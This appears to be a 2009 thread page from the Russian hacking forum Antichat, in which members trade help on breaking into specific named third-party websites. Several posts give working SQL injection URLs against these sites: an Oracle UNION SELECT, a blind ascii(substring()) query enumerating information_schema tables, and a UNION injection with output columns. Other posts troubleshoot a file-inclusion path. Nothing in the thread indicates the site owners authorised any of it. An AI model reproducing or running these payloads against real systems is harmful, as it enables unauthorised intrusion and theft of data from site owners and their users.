ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4471  
Старый 04.01.2009, 10:47
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию

to o3,14um а смысле нет файла?)) если ты про ошибку то я сам перевел что он ругается на отсуствие файла) разве это не иньект?
мне кажется что он не может найти папку которую я указал выше) т.к. своим запросом исковеркал ее имя))

Последний раз редактировалось j0ker13; 04.01.2009 в 10:55..
 
Ответить с цитированием

  #4472  
Старый 04.01.2009, 11:53
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

Это какбы файл должен быть атким:
lang/inc.lang1.php

НО ты изменил запрос на
lang/inc.lang/
и теперь имя файла воспринимается как папка, которой не существует. Успез зависит от оси и от других папок, расположенный в этой папке=)

Если там сеть папка, с началом названия inc.lang то те повезло
 
Ответить с цитированием

  #4473  
Старый 04.01.2009, 12:13
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме:
861008

Репутация: 58
По умолчанию

2Iceangel_ ога)
2o3,14um вот и я про тоже)
кароч вот http://nouveauniveau.com/index.php4?lang=1'
 
Ответить с цитированием

  #4474  
Старый 04.01.2009, 12:28
prescott
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме:
728470

Репутация: 115
По умолчанию

Цитата:
Сообщение от prescott  
Код:
http://lada-auto.ru/cgi-bin/models.pl?model_id=6295171+union+select+1,null,to_char(213),null+from+sys.dual--%20&branch=tth
Помогите с ORACLE инъекцией. Не могу подобрать тип данных для третьего столбца. В чем ошибка?
Еще раз спрошу
 
Ответить с цитированием

  #4475  
Старый 04.01.2009, 13:26
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

http://eroking.ru/podr.php?gid=2827%27

как раскрутить?
 
Ответить с цитированием

  #4476  
Старый 04.01.2009, 14:11
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

Цитата:
Сообщение от F4R  
http://eroking.ru/podr.php?gid=2827%27

как раскрутить?
_eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67--
Цитата:
Сообщение от prescott  
Еще раз спрошу
там даже при повторной выборке этого столбца несовместимость типа данных ) копай через другие скрипты
 
Ответить с цитированием

  #4477  
Старый 04.01.2009, 14:59
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

Цитата:
eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67--
никанает (((
 
Ответить с цитированием

  #4478  
Старый 04.01.2009, 15:19
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от F4R  
никанает (((
Ещё как канает
http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67+--+

PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
 
Ответить с цитированием

  #4479  
Старый 04.01.2009, 15:53
F4R
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078

Репутация: 126
Отправить сообщение для F4R с помощью ICQ
По умолчанию

да там просто страница с вагиной открывается и всё)
 
Ответить с цитированием

  #4480  
Старый 04.01.2009, 17:34
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

Цитата:
Сообщение от jokester  
Ещё как канает
http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+tab le_name+from+information_schema.tables+limit+1),1, 1))=67+--+

PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
там рядом есть инъекция с выводимыми полями
Код:
http://eroking.ru/list.php?grp=-1'+union+select+1,2,3,4--+0

Последний раз редактировалось bons; 04.01.2009 в 17:37..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ